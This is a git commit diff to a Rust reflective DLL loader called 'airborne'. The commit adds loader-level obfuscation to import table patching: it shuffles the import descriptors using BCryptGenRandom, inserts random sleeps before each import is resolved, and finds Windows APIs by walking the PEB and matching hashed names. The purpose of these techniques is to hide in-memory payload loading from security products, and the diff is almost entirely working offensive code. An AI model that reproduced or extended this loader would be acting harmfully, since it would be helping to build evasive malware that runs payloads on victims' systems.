loader-level obfuscation during IAT patching
1.) shuffle Import Directory Table entries (image import descriptors) 2.) delay the relocation of each import a random duration 3.) conditional execution based on ordinal/name 4.) indirect function call via pointer
This commit is contained in:
parent
08a32b0816
commit
567e36a9f3
1
Cargo.lock
generated
1
Cargo.lock
generated
@ -33,7 +33,6 @@ name = "airborne-reflective_loader"
|
|||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"airborne-utils",
|
"airborne-utils",
|
||||||
"rand_core",
|
|
||||||
"windows-sys",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
@ -8,7 +8,6 @@ crate-type = ["cdylib"]
|
|||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
airborne-utils = { path = "../utils" }
|
airborne-utils = { path = "../utils" }
|
||||||
rand_core = "0.6.0"
|
|
||||||
|
|
||||||
[dependencies.windows-sys]
|
[dependencies.windows-sys]
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
@ -16,5 +15,6 @@ features = [
|
|||||||
"Win32_Foundation",
|
"Win32_Foundation",
|
||||||
"Win32_System_Kernel",
|
"Win32_System_Kernel",
|
||||||
"Win32_System_Threading",
|
"Win32_System_Threading",
|
||||||
"Win32_System_WindowsProgramming"
|
"Win32_System_WindowsProgramming",
|
||||||
|
"Win32_Security_Cryptography"
|
||||||
]
|
]
|
||||||
|
@ -13,7 +13,8 @@ use core::{
|
|||||||
use windows_sys::{
|
use windows_sys::{
|
||||||
core::PWSTR,
|
core::PWSTR,
|
||||||
Win32::{
|
Win32::{
|
||||||
Foundation::{BOOL, HMODULE},
|
Foundation::{BOOL, HMODULE, STATUS_SUCCESS},
|
||||||
|
Security::Cryptography::BCRYPT_RNG_ALG_HANDLE,
|
||||||
System::{
|
System::{
|
||||||
Diagnostics::Debug::{
|
Diagnostics::Debug::{
|
||||||
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,
|
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,
|
||||||
@ -40,9 +41,11 @@ use windows_sys::{
|
|||||||
|
|
||||||
use crate::memory::*;
|
use crate::memory::*;
|
||||||
|
|
||||||
// must be edited based on the number of imports in the IDT of the payload
|
// TODO: replace with parameters from the shellcode generator
|
||||||
// const IMPORT_COUNT: usize = 100;
|
const SHUFFLE_IMPORTS: bool = true;
|
||||||
// const MAX_IMPORT_DELAY_MS: u32 = 5000;
|
const DELAY_IMPORTS: bool = true;
|
||||||
|
|
||||||
|
const MAX_IMPORT_DELAY_MS: u64 = 2000;
|
||||||
|
|
||||||
#[cfg(not(test))]
|
#[cfg(not(test))]
|
||||||
#[panic_handler]
|
#[panic_handler]
|
||||||
@ -50,8 +53,13 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
|
|||||||
loop {}
|
loop {}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TODO: add to blog references
|
||||||
|
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
|
||||||
|
|
||||||
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
|
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
|
||||||
|
|
||||||
|
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
|
||||||
|
|
||||||
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
|
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
|
||||||
|
|
||||||
#[export_name = "_fltused"]
|
#[export_name = "_fltused"]
|
||||||
@ -89,12 +97,13 @@ pub unsafe extern "system" fn loader(
|
|||||||
|
|
||||||
let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap();
|
let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap();
|
||||||
let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap();
|
let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap();
|
||||||
|
let bcrypt_base_ptr = get_module_ptr(BCRYPT_DLL).unwrap();
|
||||||
|
|
||||||
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() {
|
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() || bcrypt_base_ptr.is_null() {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap();
|
let far_procs = get_export_ptrs(kernel32_base_ptr, bcrypt_base_ptr).unwrap();
|
||||||
|
|
||||||
/*
|
/*
|
||||||
2.) load the target image to a newly allocated permanent memory location with RW permissions
|
2.) load the target image to a newly allocated permanent memory location with RW permissions
|
||||||
@ -186,13 +195,17 @@ pub unsafe extern "system" fn loader(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
|
unsafe fn get_export_ptrs(
|
||||||
|
kernel32_base_ptr: *mut u8,
|
||||||
|
bcrypt_base_ptr: *mut u8,
|
||||||
|
) -> Option<FarProcs> {
|
||||||
let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap();
|
let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap();
|
||||||
let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap();
|
let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap();
|
||||||
let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap();
|
let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap();
|
||||||
let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap();
|
let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap();
|
||||||
let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap();
|
let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap();
|
||||||
let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap();
|
let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap();
|
||||||
|
let bcrypt_genrandom_addr = get_export_addr(bcrypt_base_ptr, BCRYPT_GEN_RANDOM).unwrap();
|
||||||
|
|
||||||
if loadlib_addr == 0
|
if loadlib_addr == 0
|
||||||
|| getproc_addr == 0
|
|| getproc_addr == 0
|
||||||
@ -221,6 +234,9 @@ unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
|
|||||||
#[allow(non_snake_case)]
|
#[allow(non_snake_case)]
|
||||||
let Sleep: Sleep = transmute(sleep_addr);
|
let Sleep: Sleep = transmute(sleep_addr);
|
||||||
|
|
||||||
|
#[allow(non_snake_case)]
|
||||||
|
let BCryptGenRandom: BCryptGenRandom = transmute(bcrypt_genrandom_addr);
|
||||||
|
|
||||||
Some(FarProcs {
|
Some(FarProcs {
|
||||||
LoadLibraryA,
|
LoadLibraryA,
|
||||||
GetProcAddress,
|
GetProcAddress,
|
||||||
@ -228,6 +244,7 @@ unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
|
|||||||
VirtualProtect,
|
VirtualProtect,
|
||||||
FlushInstructionCache,
|
FlushInstructionCache,
|
||||||
Sleep,
|
Sleep,
|
||||||
|
BCryptGenRandom,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -424,12 +441,33 @@ unsafe fn patch_iat(
|
|||||||
) {
|
) {
|
||||||
/*
|
/*
|
||||||
1.) shuffle Import Directory Table entries (image import descriptors)
|
1.) shuffle Import Directory Table entries (image import descriptors)
|
||||||
2.) delay the relocation of each import a semirandom duration
|
2.) delay the relocation of each import a random duration
|
||||||
3.) conditional execution based on ordinal/name
|
3.) conditional execution based on ordinal/name
|
||||||
4.) indirect function call via pointer
|
4.) indirect function call via pointer
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std)
|
let mut id_ptr = import_descriptor_ptr;
|
||||||
|
let mut import_count = 0;
|
||||||
|
|
||||||
|
while (*id_ptr).Name != 0 {
|
||||||
|
import_count += 1;
|
||||||
|
id_ptr = id_ptr.add(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
let id_ptr = import_descriptor_ptr;
|
||||||
|
|
||||||
|
if import_count > 1 && SHUFFLE_IMPORTS {
|
||||||
|
// Fisher-Yates shuffle
|
||||||
|
for i in 0..import_count - 1 {
|
||||||
|
let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation
|
||||||
|
|
||||||
|
let gap = import_count - i;
|
||||||
|
let j_u64 = i + (rn % gap);
|
||||||
|
let j = j_u64.min(import_count - 1);
|
||||||
|
|
||||||
|
id_ptr.offset(j as _).swap(id_ptr.offset(i as _));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
while (*import_descriptor_ptr).Name != 0x0 {
|
while (*import_descriptor_ptr).Name != 0x0 {
|
||||||
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
|
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
|
||||||
@ -444,6 +482,12 @@ unsafe fn patch_iat(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if DELAY_IMPORTS {
|
||||||
|
let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation
|
||||||
|
let delay = rn % MAX_IMPORT_DELAY_MS;
|
||||||
|
(far_procs.Sleep)(delay as _);
|
||||||
|
}
|
||||||
|
|
||||||
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
|
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
|
||||||
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
|
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
|
||||||
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
|
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
|
||||||
@ -564,6 +608,23 @@ unsafe fn finalize_relocations(
|
|||||||
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
|
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[link_section = ".text"]
|
||||||
|
unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> {
|
||||||
|
let mut buffer = [0u8; 8];
|
||||||
|
let status = (far_procs.BCryptGenRandom)(
|
||||||
|
BCRYPT_RNG_ALG_HANDLE,
|
||||||
|
buffer.as_mut_ptr(),
|
||||||
|
buffer.len() as _,
|
||||||
|
0,
|
||||||
|
);
|
||||||
|
|
||||||
|
if status != STATUS_SUCCESS {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
Some(u64::from_le_bytes(buffer))
|
||||||
|
}
|
||||||
|
|
||||||
#[link_section = ".text"]
|
#[link_section = ".text"]
|
||||||
unsafe fn get_peb_ptr() -> *mut PEB {
|
unsafe fn get_peb_ptr() -> *mut PEB {
|
||||||
// TEB located at offset 0x30 from the GS register on 64-bit
|
// TEB located at offset 0x30 from the GS register on 64-bit
|
||||||
|
@ -3,7 +3,8 @@ use core::ffi::c_void;
|
|||||||
use windows_sys::{
|
use windows_sys::{
|
||||||
core::PCSTR,
|
core::PCSTR,
|
||||||
Win32::{
|
Win32::{
|
||||||
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING},
|
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, NTSTATUS, UNICODE_STRING},
|
||||||
|
Security::Cryptography::{BCRYPTGENRANDOM_FLAGS, BCRYPT_ALG_HANDLE},
|
||||||
System::{
|
System::{
|
||||||
Kernel::LIST_ENTRY,
|
Kernel::LIST_ENTRY,
|
||||||
Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE},
|
Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE},
|
||||||
@ -17,6 +18,9 @@ pub static KERNEL32_DLL: u32 = 0x6DDB9555;
|
|||||||
#[allow(non_snake_case)]
|
#[allow(non_snake_case)]
|
||||||
pub static NTDLL_DLL: u32 = 0x1EDAB0ED;
|
pub static NTDLL_DLL: u32 = 0x1EDAB0ED;
|
||||||
|
|
||||||
|
#[allow(non_snake_case)]
|
||||||
|
pub static BCRYPT_DLL: u32 = 0xEDB54DA3;
|
||||||
|
|
||||||
#[allow(non_snake_case)]
|
#[allow(non_snake_case)]
|
||||||
pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB;
|
pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB;
|
||||||
|
|
||||||
@ -35,6 +39,9 @@ pub static VIRTUAL_PROTECT: u32 = 0xE857500D;
|
|||||||
#[allow(non_snake_case)]
|
#[allow(non_snake_case)]
|
||||||
pub static SLEEP: u32 = 0xE07CD7E;
|
pub static SLEEP: u32 = 0xE07CD7E;
|
||||||
|
|
||||||
|
#[allow(non_snake_case)]
|
||||||
|
pub static BCRYPT_GEN_RANDOM: u32 = 0xD966C0D4;
|
||||||
|
|
||||||
#[allow(non_camel_case_types)]
|
#[allow(non_camel_case_types)]
|
||||||
pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE;
|
pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE;
|
||||||
|
|
||||||
@ -64,6 +71,14 @@ pub type FlushInstructionCache = unsafe extern "system" fn(
|
|||||||
NumberOfBytesToFlush: usize,
|
NumberOfBytesToFlush: usize,
|
||||||
) -> BOOL;
|
) -> BOOL;
|
||||||
|
|
||||||
|
#[allow(non_camel_case_types)]
|
||||||
|
pub type BCryptGenRandom = unsafe extern "system" fn(
|
||||||
|
hAlgorithm: BCRYPT_ALG_HANDLE,
|
||||||
|
pbBuffer: *mut u8,
|
||||||
|
cbBuffer: u32,
|
||||||
|
dwFlags: BCRYPTGENRANDOM_FLAGS,
|
||||||
|
) -> NTSTATUS;
|
||||||
|
|
||||||
#[allow(non_camel_case_types)]
|
#[allow(non_camel_case_types)]
|
||||||
pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32);
|
pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32);
|
||||||
|
|
||||||
@ -84,6 +99,7 @@ pub struct FarProcs {
|
|||||||
pub VirtualProtect: VirtualProtect,
|
pub VirtualProtect: VirtualProtect,
|
||||||
pub FlushInstructionCache: FlushInstructionCache,
|
pub FlushInstructionCache: FlushInstructionCache,
|
||||||
pub Sleep: Sleep,
|
pub Sleep: Sleep,
|
||||||
|
pub BCryptGenRandom: BCryptGenRandom,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[allow(non_camel_case_types)]
|
#[allow(non_camel_case_types)]
|
||||||
|
@ -4,4 +4,3 @@ version = "0.1.0"
|
|||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
# panic-halt = "0.2.0"
|
|
||||||
|
Loading…
Reference in New Issue
Block a user